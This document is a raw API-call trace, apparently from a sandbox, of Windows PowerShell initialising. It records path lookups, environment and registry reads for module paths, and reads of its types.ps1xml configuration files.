[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.918] GetLastError () returned 0x7a
[0037.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.919] GetLastError () returned 0x7a
[0037.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.919] GetLastError () returned 0x7a
[0037.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.919] GetLastError () returned 0x7a
[0037.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0037.919] GetLastError () returned 0x7a
[0037.975] SetConsoleCtrlHandler (HandlerRoutine=0x1cc384a, Add=1) returned 1
[0037.975] GetLastError () returned 0x7a
[0038.564] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.564] GetLastError () returned 0xcb
[0038.573] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x31c
[0038.573] GetLastError () returned 0x0
[0038.575] CoCreateGuid (in: pguid=0x16ea08 | out: pguid=0x16ea08*(Data1=0x38b20469, Data2=0xdda8, Data3=0x4e46, Data4=([0]=0xb8, [1]=0x28, [2]=0x8, [3]=0x60, [4]=0xcb, [5]=0x22, [6]=0x77, [7]=0x3e))) returned 0x0
[0038.712] WinSqmIsOptedIn () returned 0x0
[0038.713] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.713] GetLastError () returned 0xcb
[0038.715] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.715] GetLastError () returned 0xcb
[0038.715] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.715] GetLastError () returned 0xcb
[0038.718] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.718] GetLastError () returned 0xcb
[0038.719] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.719] GetLastError () returned 0xcb
[0038.729] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.729] GetLastError () returned 0xcb
[0038.729] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.729] GetLastError () returned 0xcb
[0038.730] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.730] GetLastError () returned 0xcb
[0038.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.731] GetLastError () returned 0xcb
[0038.741] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.742] GetLastError () returned 0xcb
[0038.743] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.743] GetLastError () returned 0xcb
[0038.744] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0038.744] GetLastError () returned 0xcb
[0039.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.112] GetLastError () returned 0xcb
[0039.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.112] GetLastError () returned 0xcb
[0039.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.112] GetLastError () returned 0xcb
[0039.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.112] GetLastError () returned 0xcb
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.173] GetLastError () returned 0x3
[0039.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.174] GetLastError () returned 0x3
[0039.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.174] GetLastError () returned 0x3
[0039.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.174] GetLastError () returned 0x3
[0039.176] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33
[0039.176] GetLastError () returned 0x3
[0039.179] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x365310, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
[0039.179] GetLastError () returned 0x3
[0039.179] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e820 | out: phkResult=0x16e820*=0x328) returned 0x0
[0039.179] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16e864, lpData=0x0, lpcbData=0x16e860*=0x0 | out: lpType=0x16e864*=0x2, lpData=0x0, lpcbData=0x16e860*=0x6c) returned 0x0
[0039.180] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16e864, lpData=0x365310, lpcbData=0x16e860*=0x6c | out: lpType=0x16e864*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x16e860*=0x6c) returned 0x0
[0039.180] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x365310, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb
[0039.180] GetLastError () returned 0x3
[0039.180] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x365310, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
[0039.180] GetLastError () returned 0x3
[0039.180] RegCloseKey (hKey=0x328) returned 0x0
[0039.181] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x365310, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
[0039.181] GetLastError () returned 0x3
[0039.181] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e820 | out: phkResult=0x16e820*=0x328) returned 0x0
[0039.181] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16e864, lpData=0x0, lpcbData=0x16e860*=0x0 | out: lpType=0x16e864*=0x0, lpData=0x0, lpcbData=0x16e860*=0x0) returned 0x2
[0039.181] RegCloseKey (hKey=0x328) returned 0x0
[0039.232] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x365310 | out: pszPath="C:\\Users\\ATVeyDl98Z\\Documents") returned 0x0
[0039.233] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents", nBufferLength=0x105, lpBuffer=0x16e388, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Documents", lpFilePart=0x0) returned 0x1d
[0039.233] GetLastError () returned 0x3f0
[0039.235] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1
[0039.235] GetLastError () returned 0x3f0
[0039.243] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.243] GetLastError () returned 0xcb
[0039.244] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.244] GetLastError () returned 0xcb
[0039.247] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.247] GetLastError () returned 0xcb
[0039.247] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.247] GetLastError () returned 0xcb
[0039.253] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e7a0 | out: phkResult=0x16e7a0*=0x330) returned 0x0
[0039.254] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e808, lpData=0x0, lpcbData=0x16e804*=0x0 | out: lpType=0x16e808*=0x1, lpData=0x0, lpcbData=0x16e804*=0x74) returned 0x0
[0039.256] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e7e8, lpData=0x0, lpcbData=0x16e7e4*=0x0 | out: lpType=0x16e7e8*=0x1, lpData=0x0, lpcbData=0x16e7e4*=0x74) returned 0x0
[0039.256] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e7e8, lpData=0x365310, lpcbData=0x16e7e4*=0x74 | out: lpType=0x16e7e8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x16e7e4*=0x74) returned 0x0
[0039.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x16e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a
[0039.256] GetLastError () returned 0xcb
[0039.256] SetErrorMode (uMode=0x1) returned 0x1
[0039.256] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x16e7e8 | out: lpFileInformation=0x16e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4f50ebe, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x919bae56, ftLastAccessTime.dwHighDateTime=0x1cbf8b7, ftLastWriteTime.dwLowDateTime=0x919bae56, ftLastWriteTime.dwHighDateTime=0x1cbf8b7, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0039.256] GetLastError () returned 0xcb
[0039.256] SetErrorMode (uMode=0x1) returned 0x1
[0039.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e35c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.259] GetLastError () returned 0xcb
[0039.259] SetErrorMode (uMode=0x1) returned 0x1
[0039.259] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7dc | out: lpFileInformation=0x16e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1
[0039.272] GetLastError () returned 0xcb
[0039.272] SetErrorMode (uMode=0x1) returned 0x1
[0039.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e35c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.275] GetLastError () returned 0xcb
[0039.275] SetErrorMode (uMode=0x1) returned 0x1
[0039.275] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7dc | out: lpFileInformation=0x16e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
[0039.276] GetLastError () returned 0xcb
[0039.276] SetErrorMode (uMode=0x1) returned 0x1
[0039.284] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.284] GetLastError () returned 0xcb
[0039.286] GetACP () returned 0x4e4
[0039.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.299] GetLastError () returned 0x0
[0039.299] SetErrorMode (uMode=0x1) returned 0x1
[0039.300] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x334
[0039.301] GetLastError () returned 0x0
[0039.302] GetFileType (hFile=0x334) returned 0x1
[0039.302] SetErrorMode (uMode=0x1) returned 0x1
[0039.302] GetFileType (hFile=0x334) returned 0x1
[0039.304] ReadFile (in: hFile=0x334, lpBuffer=0x1f741f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f741f4*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.306] GetLastError () returned 0x0
[0039.307] ReadFile (in: hFile=0x334, lpBuffer=0x1f741f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f741f4*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.307] GetLastError () returned 0x0
[0039.307] ReadFile (in: hFile=0x334, lpBuffer=0x1f741f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f741f4*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.307] GetLastError () returned 0x0
[0039.308] ReadFile (in: hFile=0x334, lpBuffer=0x1f741f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f741f4*, lpNumberOfBytesRead=0x16e754*=0xcf3, lpOverlapped=0x0) returned 1
[0039.308] GetLastError () returned 0x0
[0039.308] ReadFile (in: hFile=0x334, lpBuffer=0x1f73687, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f73687*, lpNumberOfBytesRead=0x16e754*=0x0, lpOverlapped=0x0) returned 1
[0039.308] GetLastError () returned 0x0
[0039.308] ReadFile (in: hFile=0x334, lpBuffer=0x1f741f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1f741f4*, lpNumberOfBytesRead=0x16e754*=0x0, lpOverlapped=0x0) returned 1
[0039.308] GetLastError () returned 0x0
[0039.309] CloseHandle (hObject=0x334) returned 1
[0039.309] GetLastError () returned 0x0
[0039.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.311] GetLastError () returned 0x0
[0039.311] SetErrorMode (uMode=0x1) returned 0x1
